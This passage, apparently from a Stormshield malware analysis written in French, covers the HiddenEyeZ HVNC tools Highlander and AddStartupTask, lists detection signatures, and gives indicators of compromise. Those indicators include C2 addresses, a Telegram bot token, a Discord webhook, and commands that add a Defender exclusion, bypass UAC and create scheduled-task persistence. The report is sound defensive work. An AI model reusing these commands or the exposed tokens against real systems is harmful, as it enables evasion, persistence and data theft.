pour se placer dans le contexte d'exécution de ce compte technique qui est utilisé pour gérer Windows Defender (démarrage ou arrêt de service, remplacement de fichiers, etc.) ; - arrêt du service Windows Defender : la dernière étape réalise l'objectif initial de l'outil en désactivant Windows Defender. Ainsi, la furtivité du reste de l'attaque est améliorée.
Voici l'implémentation de l'impersonation avec le compte TrustedInstaller
.
Figure 23 : code de l'implémentation de l'impersonation avec le compte TrustedInstaller par l’outil Highlander
L'outil semble plus tenir d'une preuve de concept sans avoir le niveau de qualité nécessaire pour être déployé lors d'une attaque :
- présence de nombreuses chaines de débogage ;
- aucune vérification des échecs dans les différentes étapes.
Figure 24 : code de l’outil Highlander illustrant le manque de vérification du succès des différentes étapes
Toutes les actions seront effectuées mêmes si les précédentes échouent, ainsi elles échoueront elles aussi.
AddStartupTask
Carte d'identité
Type of file | PE |
Language used | .NET |
Compilation date | Fri Jul 8 11:52:00 2022 |
Obfuscation | No |
md5 | 5368a0fe20ac61149f28dc1a3a9ff829 |
sha1 | 9127a299c46593f9e0de1f409b2a44e72aa5f6c4 |
sha256 | 469e25f46030d6fb3b04e83b095b5c8e09017e39c40bc584920e324fd87d0700 |
ssdeep | 3072:mN1U+fpbH6rA0LZQy5hYajNFhEwQ6rKXSWdQqxfZ8heWycJ5DfwrxS4wr8isBhHC:21U+fs2ajNTOrlR4ithyT/TM2aa3 |
Présentation
Cet outil, déployé et utilisé par HiddenEyeZ HVNC, est responsable de la persistance de ce dernier. Il lui garantit un démarrage automatique, que ce soit à l'ouverture de session de l'utilisateur ou périodiquement une fois par jour à heure constante.
Pour cela, trois moyens de persistance sont utilisés :
- la création d'une tâche planifiée périodique cherchant à se faire passer pour un élément de Windows :
- Auteur : Microsoft
- Description : This will keep your software up to date.
- la création d'une tâche planifiée s'exécutant à l'ouverture d'une session utilisateur ;
- l'enregistrement du binaire dans la clé registre
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.
Ce binaire gère la mise en place et la désinstallation des moyens de persistance pour le malware HiddenEyeZ HVNC.
Figure 25 : code d'installation du moyen de persistance AddStartupTask
Utilisation
Lors de son utilisation par le malware HiddenEyeZ HVNC, AddStartupTask est déposé à l'emplacement %TEMP%\proclog.exe
. Il est ensuite lancé par l'intermédiaire d'un script %TEMP%\drive.bat
. Suite à cette exécution, les deux fichiers sont supprimés du disque.
Figure 26 : code de HiddenEyeZ HVNC exécutant l’outil AddStartupTask
Les protections Stormshield face au malware HiddenEyeZ
Les protections Stormshield Network Security via flux réseau
L’accès au C2 HiddenEyeZ HVNC est bloqué, car catégorisé comme malware par nos bases de données de réputation d’IP. De plus, les firewalls Stormshield Network Security (SNS) ont la possibilité de filtrer les communications vers divers services, utilisés ici par l'attaquant :
Service / Malware | Signature |
Serveur de C&C de StormKitty | http:client:header.226 |
Serveur Telegram | tcpudp:hostname.154 / ssl:client:sni.25 |
Serveur Discord | ssl:client:sni.24 / tcpudp:hostname.153 / ssl:server:certificate.102 |
Les protections Stormshield Network Security via l’antivirus intégré
Voici les signatures SNS détectant les différents samples via l’antivirus intégré :
Sample | Signature |
Installer r77 | Trojan.GenericKD.65601994 |
Dropper from HiddenEyeZ | Gen:Trojan.Heur.DNP.Gm0@aK1dYYi |
r77 dll 64 bits | Trojan.GenericKD.65601994 |
Les protections Stormshield Network Security via Breach Fighter
Voici les signatures SNS détectant les différents samples via le service Breach Fighter :
Sample | Breach Fighter detection |
Icarus | Malveillant Trojan:MSILZilla/25816 |
HiddenEyeZ HVNC dropper | Trojan:MSILZilla/11609 |
HiddenEyeZ HVNC | Trojan:MSILZilla/8938 |
highlander.exe | Variant:Marsilia/20527.1 |
r77 - installer | Variant:MSILHeracles/32317 |
r77 - dll x86 | Variant:Cerbu/99363 |
r77 - dll x64 | Trojan:GenericKD/65601994 |
r77 - uninstaller | SUSPECT |
AddStartupTask.exe | Variant:Razy/592822 |
StormKitty / Prynt Stealer | Trojan:MSILZilla/24027 |
Les protections Stormshield Endpoint Security Evolution
Voici pour chaque exécutable analysé, les protections apportées par Stormshield Endpoint Securtity Evolution (SES).
Sample | Rules set | Protection |
Dropper de HiddenEyeZ HVNC | Baseline protection | Blocking the execution |
StormKitty / Prynt Stealer | Data Leak Prevention | Blocking the recovery of protected sensitive data |
HiddenEyeZ HVNC | No blocking without explicit action by the attacker | |
Installer r77 | Baseline protection | Blocking the execution |
Uninstall r77 | Baseline protection | Blocking the execution |
Icarus | Data Leak Prevention | Blocking the recovery of protected sensitive data |
Highlander | Baseline protection | Blocking the execution |
Malware HiddenEyeZ & IoC
Fichiers
File names | SHA-256 | Sample |
svchost.exe | fede8f2bc1985107197319816287218a3631460e2f8205cf119ce406d7c3b2d7 | StormKitty / Prynt Stealer |
AddTaskStartUp.exe | 469e25f46030d6fb3b04e83b095b5c8e09017e39c40bc584920e324fd87d0700 | AddStartupTask |
svchost.exe | 6b4ea42c1de9777847d7b6f980976310abe46d2de9792045a6eba54b032b8520 | Icarus |
a8361bd86b7859c0d93c8470975e9ffd20765c42ecb49491c029542213410a85 | Highlander | |
Installs.exe | bb86e41bb6d5eccad1ff84ab343506f4f5fcd78b0618966edc0ae0e05fcc8683 | HiddenEyeZ HVNC Dropper |
rk.exe | 4604e501fb4efb5ce862e81232c61b29e4470b5313055efb291593d66f23af7e | r77 (Install) |
rkd.exe | 6c1b2c9ae4887ff134bd098cab3e6c5ada1482f45a129ccc858733a545a10619 | r77 (Uninstall) |
r77-x64.dll | 2141974f665f4d8fecb6d8ea06add624b57f320f901368847175570ee716fd8e | r77 (Dll 64 bits) |
r77-x86.dll | ed3ee849ae71001941d03983a65eacdd726be75d91b076475a89a3a75e79d82e | r77 (Dll 32 bits) |
ba1615c7617f148228c587ffe7607ac841fd682ba4905f4af53e18d601b84102 | HiddenEyeZ HVNC | |
rescale.ps1 | a10479eea5f9d85ac00db77c0e090de2db64cdb163055e7b42fbcb2c97a66898 | HiddenEyeZ HVNC |
Path | Sample |
%TEMP%proclog.exe | HiddenEyeZ HVNC |
%TEMP%drive.bat | HiddenEyeZ HVNC |
%TEMP%HiddenEyeZ.zip | Icarus |
%TEMP%svchost.exe | HiddenEyeZ HVNC Dropper / HiddenEyeZ HVNC |
%TEMP%svchost.bat | HiddenEyeZ HVNC Dropper / HiddenEyeZ HVNC |
rescale.ps1 | HiddenEyeZ HVNC Dropper / HiddenEyeZ HVNC |
MessengerDiscordtokens.txt | StormKitty / Prynt Stealer |
HiddenEyeZlockfile | StormKitty / Prynt Stealer |
%TEMP%rkd.exe | r77 |
%TEMP%rk.exe | r77 |
%APPDATA%r77-x64.dll | r77 |
%APPDATA%r77-x86.dll | r77 |
URL/IP
Address | Sample |
5[.]75.162.22 | HiddenEyeZ HVNC |
hxxp://hiddeneyez.com/icar/ | HiddenEyeZ HVNC |
hxxps://api.telegram.org/bot5905672828:AAGUnoGz8ijN7mSXpHHKho9sOEnmiUyuoC0/ | StormKitty / Prynt Stealer |
hxxp://193.31.116.239/crypt/public/Update_Downloads/patata.jpg | HiddenEyeZ HVNC Dropper |
hxxps://raw.githubusercontent.com/HiddenEyeZ/tg/main/rt.jpg | HiddenEyeZ HVNC Dropper |
hxxps://i.ibb.co/kDLd65M/dcicon.png | Icarus |
hxxps://i.ibb.co/RvwvG2z/icaruwsdr-athens.png | Icarus |
hxxps://discord.com/api/webhooks/995609071304593409/IOLhP3ykqEdZcTv7nJgfKJfoNaRwLOZX3dgmUFTXow93vFkbG4e9gVYaDjfaHkGc3x6M | Icarus |
208.95.113.1 | Icarus |
Commandes
Commands | Sample |
cvtres.exe HiddenEyeZ_Client 5.75.162.221 8081 mPgxExkLE | HiddenEyeZ HVNC Dropper |
cmd /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe | HiddenEyeZ HVNC Dropper |
cmd.exe /c start computerdefaults.exe | Dropper from HiddenEyeZ HVNC , Install/uninstall r77 |
cmd /c schtasks /create /f /sc onlogon /rl highest /tn "proclog"" /tr [...] | HiddenEyeZ HVNC |